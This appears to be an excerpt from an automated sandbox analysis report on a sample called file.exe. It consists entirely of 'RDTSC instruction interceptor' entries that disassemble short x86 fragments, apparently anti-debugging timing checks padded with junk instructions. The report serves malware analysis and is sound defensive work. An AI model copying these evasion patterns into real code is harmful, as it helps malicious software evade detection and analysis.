Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1C7A second address: 12C1C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2066 second address: 12C2085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF274F0FD46h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2085 second address: 12C2089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C25EE second address: 12C2600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2600 second address: 12C262D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345492h 0x00000007 ja 00007FF27534548Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 jl 00007FF275345486h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C262D second address: 12C2631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C277B second address: 12C2781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2781 second address: 12C2786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2786 second address: 12C279C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF27534548Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4355 second address: 12C435B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C435B second address: 12C4364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4364 second address: 12C437F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6F36 second address: 12C6F45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6F45 second address: 12C6F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6F4F second address: 12C6F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA276 second address: 12CA27C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C00C2 second address: 51C00C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C00C6 second address: 51C00CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C00CC second address: 51C0124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 38FFF3D3h 0x00000008 jmp 00007FF275345498h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FF275345490h 0x00000016 push eax 0x00000017 jmp 00007FF27534548Bh 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF275345495h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0DCA second address: 51A0DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0DD0 second address: 51A0DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0DD4 second address: 51A0DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0DD8 second address: 51A0DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF275345495h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B31 second address: 51E0B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF274F0FD3Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B58 second address: 51E0B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B5C second address: 51E0B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B60 second address: 51E0B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800D1 second address: 5180128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF274F0FD46h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FF274F0FD40h 0x00000016 push dword ptr [ebp+04h] 0x00000019 jmp 00007FF274F0FD40h 0x0000001e push dword ptr [ebp+0Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ax, bx 0x00000027 mov ah, bl 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180128 second address: 518012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518012E second address: 5180132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180132 second address: 5180146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop ebx 0x00000010 mov bx, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180146 second address: 5180160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF274F0FD46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180160 second address: 5180164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B15 second address: 51A0B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B19 second address: 51A0B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B36 second address: 51A0B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 180F5EC2h 0x00000008 mov bx, A50Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FF274F0FD44h 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 call 00007FF274F0FD3Eh 0x0000001c pop esi 0x0000001d mov cx, bx 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop edx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06AB second address: 51A06F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, di 0x00000011 pushfd 0x00000012 jmp 00007FF275345493h 0x00000017 add esi, 75A1E12Eh 0x0000001d jmp 00007FF275345499h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06F1 second address: 51A0735 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF274F0FD47h 0x00000009 xor ah, 0000003Eh 0x0000000c jmp 00007FF274F0FD49h 0x00000011 popfd 0x00000012 mov bl, ah 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0735 second address: 51A0739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0739 second address: 51A073D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A073D second address: 51A0743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0743 second address: 51A0783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cx, 107Bh 0x00000010 movzx esi, bx 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF274F0FD45h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0783 second address: 51A0789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A05FC second address: 51A0625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push ecx 0x0000000f mov bx, C868h 0x00000013 pop edx 0x00000014 popad 0x00000015 pop ebp 0x00000016 pushad 0x00000017 mov bx, A0ACh 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007FF274F0FD3Bh 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B01DE second address: 51B01E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B01E4 second address: 51B01E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B01E8 second address: 51B0217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov bl, cl 0x0000000c mov ebx, 457F9232h 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 call 00007FF275345492h 0x0000001d pop esi 0x0000001e mov ax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0217 second address: 51B023D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FF274F0FD3Dh 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B023D second address: 51B025A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF27534548Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 1BAE6EEEh 0x00000012 mov dl, 8Bh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0A94 second address: 51E0AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF274F0FD44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AAC second address: 51E0AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AB0 second address: 51E0AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF274F0FD3Ah 0x00000010 add al, 00000048h 0x00000013 jmp 00007FF274F0FD3Bh 0x00000018 popfd 0x00000019 mov esi, 2AAFDBBFh 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 jmp 00007FF274F0FD42h 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a movzx esi, bx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AF9 second address: 51E0AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C03F5 second address: 51C0476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF274F0FD3Ch 0x00000009 adc ch, 00000008h 0x0000000c jmp 00007FF274F0FD3Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FF274F0FD48h 0x00000018 sub ax, 9068h 0x0000001d jmp 00007FF274F0FD3Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov eax, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FF274F0FD44h 0x00000030 sub al, FFFFFFC8h 0x00000033 jmp 00007FF274F0FD3Bh 0x00000038 popfd 0x00000039 movzx esi, bx 0x0000003c popad 0x0000003d and dword ptr [eax], 00000000h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0476 second address: 51C047C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C047C second address: 51C04D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF274F0FD45h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FF274F0FD41h 0x0000000f xor ecx, 2D1A8D46h 0x00000015 jmp 00007FF274F0FD41h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e and dword ptr [eax+04h], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF274F0FD3Dh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C04D5 second address: 51C0501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov si, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007FF27534548Eh 0x00000015 pop ecx 0x00000016 call 00007FF27534548Bh 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A047D second address: 51A0481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0481 second address: 51A049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345495h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A049A second address: 51A04A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A04A0 second address: 51A04CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF275345490h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A04CE second address: 51A04DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A04DD second address: 51A0552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF27534548Ah 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushad 0x00000014 mov si, A1E3h 0x00000018 mov esi, 5E9D793Fh 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007FF275345494h 0x00000024 sbb ecx, 248B4A28h 0x0000002a jmp 00007FF27534548Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FF275345490h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0552 second address: 51A0556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0556 second address: 51A055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A055C second address: 51A056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF274F0FD3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A056D second address: 51A0571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0007 second address: 51C0011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 281F3D2Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0011 second address: 51C002E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 7Eh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF275345490h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C002E second address: 51C0034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02CB second address: 51E02CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02CF second address: 51E02D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02D5 second address: 51E036D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF27534548Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF275345490h 0x0000000f push eax 0x00000010 jmp 00007FF27534548Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FF275345496h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e call 00007FF27534548Eh 0x00000023 movzx esi, dx 0x00000026 pop ebx 0x00000027 jmp 00007FF27534548Ch 0x0000002c popad 0x0000002d xchg eax, ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FF27534548Dh 0x00000037 add esi, 444AC496h 0x0000003d jmp 00007FF275345491h 0x00000042 popfd 0x00000043 mov esi, 1160B507h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E036D second address: 51E039F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF274F0FD3Ah 0x00000013 add cx, 1BE8h 0x00000018 jmp 00007FF274F0FD3Bh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E039F second address: 51E03B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF275345490h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E03B3 second address: 51E03EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FF274F0FD46h 0x00000011 mov eax, dword ptr [774365FCh] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ebx, 53E12CC0h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E03EB second address: 51E041E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF275345497h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E041E second address: 51E0424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0424 second address: 51E0428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0428 second address: 51E042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E042C second address: 51E0495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF2E75189B8h 0x0000000e jmp 00007FF275345497h 0x00000013 mov ecx, eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FF275345494h 0x0000001c or cl, FFFFFFF8h 0x0000001f jmp 00007FF27534548Bh 0x00000024 popfd 0x00000025 pushad 0x00000026 mov bx, cx 0x00000029 mov ah, 43h 0x0000002b popad 0x0000002c popad 0x0000002d xor eax, dword ptr [ebp+08h] 0x00000030 jmp 00007FF27534548Ah 0x00000035 and ecx, 1Fh 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0495 second address: 51E049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E049C second address: 51E04B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF275345495h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E04B5 second address: 51E04B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
